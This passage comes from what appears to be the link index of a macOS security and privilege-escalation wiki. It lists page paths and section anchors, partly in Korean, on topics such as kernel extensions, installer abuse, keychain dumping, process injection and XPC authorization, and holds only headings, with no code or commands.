ac-os-architecture/macos-kernel-extensions.html#macos-커널-및-kext-디버깅","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.html#패닉의-원샷-로컬-디버그","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.html#다른-mac에서의-실시간-원격-디버깅","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.html#특정-로드된-kext에-lldb-연결하기","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.html#references","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.html#macos-kernel-vulnerabilities","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.html#pwning-ota","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.html#2024-in-the-wild-kernel-0-days-cve-2024-23225--cve-2024-23296","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.html#2023-mig-유형-혼동--cve-2023-41075","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.html#2024-2025-서드파티-kext를-통한-sip-우회--cve-2024-44243-일명-sigma","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.html#빠른-열거-요약표","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.html#fuzzing--research-tools","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.html#references","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#macos-system-extensions","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#system-extensions--endpoint-security-framework","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#driverkit-extensions","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#network-extensions","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#endpoint-security-framework","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#endpoint-security-framework-architecture","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#bypassing-esf","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#cve-2021-30965","macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#macos-네트워크-서비스-및-프로토콜","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#원격-액세스-서비스","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#pentesting-ard","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#bonjour-프로토콜","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#ssh-서비스-검색","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#http-서비스-광고","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#네트워크를-통한-bonjour-열거","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#보안-고려-사항-및-최근-취약점-2024-2025","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#bonjour-비활성화","macos-hardening/macos-security-and-privilege-escalation/macos-protocols.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.html#macos-파일-확장자-및-url-스킴-앱-핸들러","macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.html#launchservices-데이터베이스","macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.html#파일-확장자-및-url-스킴-앱-핸들러","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#macos-파일-폴더-바이너리-및-메모리","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#파일-계층-구조","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#애플리케이션-폴더","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#민감한-정보가-포함된-파일","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#취약한-pkg-설치-프로그램","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#os-x-특정-확장","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#macos-번들","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#dyld-공유-라이브러리-캐시-slc","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#slc-매핑","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#slc-재정의","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#특별-파일-권한","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#폴더-권한","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#플래그-수정자","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#파일-acls","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#확장-속성","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#리소스-포크--macos-ads","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#decmpfs","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#universal-binaries---mach-o-format","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#macos-process-memory","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#macos-memory-dumping","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#risk-category-files-mac-os","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/index.html#log-files","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.html#macos-bundles","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.html#basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.html#essential-components-of-a-bundle","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.html#exploring-bundles","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#macos-installers-abuse","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#pkg-기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#계층","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#압축-해제","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#dmg-기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#계층-구조","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#pkg-악용을-통한-권한-상승","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#공개-디렉토리에서의-실행","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#authorizationexecutewithprivileges","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#마운트를-통한-실행","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#pkg를-악성-소프트웨어로-사용하기","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#빈-페이로드","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#배포-xml의-js","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#백도어-설치-프로그램","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.html#참고-문헌","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.html#macos-메모리-덤프","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.html#메모리-아티팩트","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.html#스왑-파일","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.html#하이버네이트-이미지","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.html#메모리-압력-로그","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.html#osxpmem을-사용한-메모리-덤프","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#macos-sensitive-locations--interesting-daemons","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#비밀번호","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#그림자-비밀번호","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#etcmasterpasswd","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#keychain-dump","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#keychaindump","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#keychaindump-개요","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#chainbreaker","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#kcpassword","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#interesting-information-in-databases","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#messages","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#notifications","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#notes","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#preferences","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#opendirectory-permissionsplist","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#시스템-알림","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#다윈-알림","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#distributed-notification-center","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#apple-push-notifications-apn","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#사용자-알림","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#macos-universal-binaries--mach-o-format","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#fat-header","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#mach-o-header","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#mach-o-파일-유형","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#mach-o-플래그","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#mach-o-로드-명령","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_segmentlc_segment_64","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_unixthreadlc_main","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_code_signature","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_encryption_info_64","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_load_dylinker","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_ident","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_uuid","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_dyld_environment","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#lc_load_dylib","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#mach-o-데이터","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#objetive-c-공통-섹션","macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.html#swift","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#macos-objective-c","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#objective-c","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#클래스-메서드-및-객체","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#인터페이스-속성-및-메서드","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#클래스","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#객체-및-메서드-호출","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#클래스-메서드","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#setter--getter","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#인스턴스-변수","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#프로토콜","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#모두-함께","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#기본-클래스","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#블록","macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.html#파일","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#macos-권한-상승","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#tcc-권한-상승","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#리눅스-권한-상승","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#사용자-상호작용","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#sudo-하이재킹","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#dock-사칭","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#tcc---루트-권한-상승","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#cve-2020-9771---mount_apfs-tcc-우회-및-권한-상승","macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.html#민감한-정보","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#macos-process-abuse","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#processes-basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#pids","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#process-groups-sessions--coalations","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#credentials--personae","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#스레드-기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#스레드-로컬-변수-tlv","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#스레드-우선순위","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#macos-프로세스-남용","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#라이브러리-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#함수-후킹","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#프로세스-간-통신","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#electron-애플리케이션-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#chromium-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#더러운-nib","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#java-애플리케이션-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#net-애플리케이션-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#perl-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#ruby-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#python-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#탐지","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#shield","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#다른-프로세스에서-만든-호출","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html#참고자료","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#macos-dirty-nib","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#what-are-nibxib-files","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#dirty-nib-injection-process-attacker-view","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#최신-macos-보호-기능-venturamontereysonomasequoia","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#launch-constraints-대응","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#대상-및-nib-열거-연구--레거시-시스템에-유용","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#탐지-및-dfir-팁","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#방어적-하드닝-개발자-및-방어-담당자","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#related-reading-in-hacktricks","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.html#참고-자료","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.html#macos-chromium-injection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.html#기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.html#도구","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.html#예시","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.html#참고문헌","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#macos-electron-applications-injection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#electron-fuses","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#checking-electron-fuses","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#electron-퓨즈-수정","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#rce-전자-애플리케이션에-코드-추가","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#rce-with-electron_run_as_node","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#앱-plist에서의-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#rce-with-node_options","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#앱-plist에서의-주입-1","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#rce-with-inspecting","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#injection-from-the-app-plist","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#tcc-우회-구버전-악용","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#비-js-코드-실행","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#주목할-만한-electron-macos-취약점-2023-2024","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#cve-2023-44402--asar-무결성-우회","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#2024-runasnode--enablenodecliinspectarguments-cve-클러스터","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#자동-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#macos-function-hooking","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#function-interposing","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#interpose-printf","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#동적-인터포징","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#method-swizzling","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#accessing-the-raw-methods","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#method-swizzling-with-method_exchangeimplementations","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#method_setimplementation을-이용한-메서드-스위즐링","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#hooking-attack-methodology","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#macos-ipc---inter-process-communication","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#mach-메시징을-통한-포트","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#포트-권한","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#파일-포트","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#통신-설정","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#mach-메시지","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#mac-ports-apis","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#debug-mach_msg","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#포트-나열","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#코드-예제","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#특권-포트","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#호스트-특별-포트","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#task-special-ports","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#task-ports","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#thread-ports","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#task-포트를-통한-스레드의-shellcode-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#task-포트를-통한-스레드에서의-dylib-주입","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#thread-hijacking-via-task-port","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#task-port-injection-detection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#exception-ports","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#other-objects","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#clock","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/index.html#processors-and-processor-set","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#macos-mig---mach-interface-generator","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#example","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#ndr_record","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#이진-분석","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#jtool","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#assembly","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#debug","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#macos-xpc","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#애플리케이션-특정-xpc-서비스","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#시스템-전체-xpc-서비스","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#xpc-객체","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#xpc-서비스","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#서비스-시작하기","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#xpc-이벤트-메시지","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#xpc-연결-프로세스-확인","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#xpc-권한-부여","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#xpc-스니퍼","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#xpc-통신-c-코드-예제","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#xpc-통신-objective-c-코드-예제","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#dylb-코드-내의-클라이언트","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/index.html#remote-xpc","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#macos-xpc-authorization","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#xpc-authorization","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#shouldacceptnewconnection-항상-yes","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#애플리케이션-권한","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#권한-검증","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#db-정보","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#permissive-rights","macos-hardening/macos-security-and-privilege-e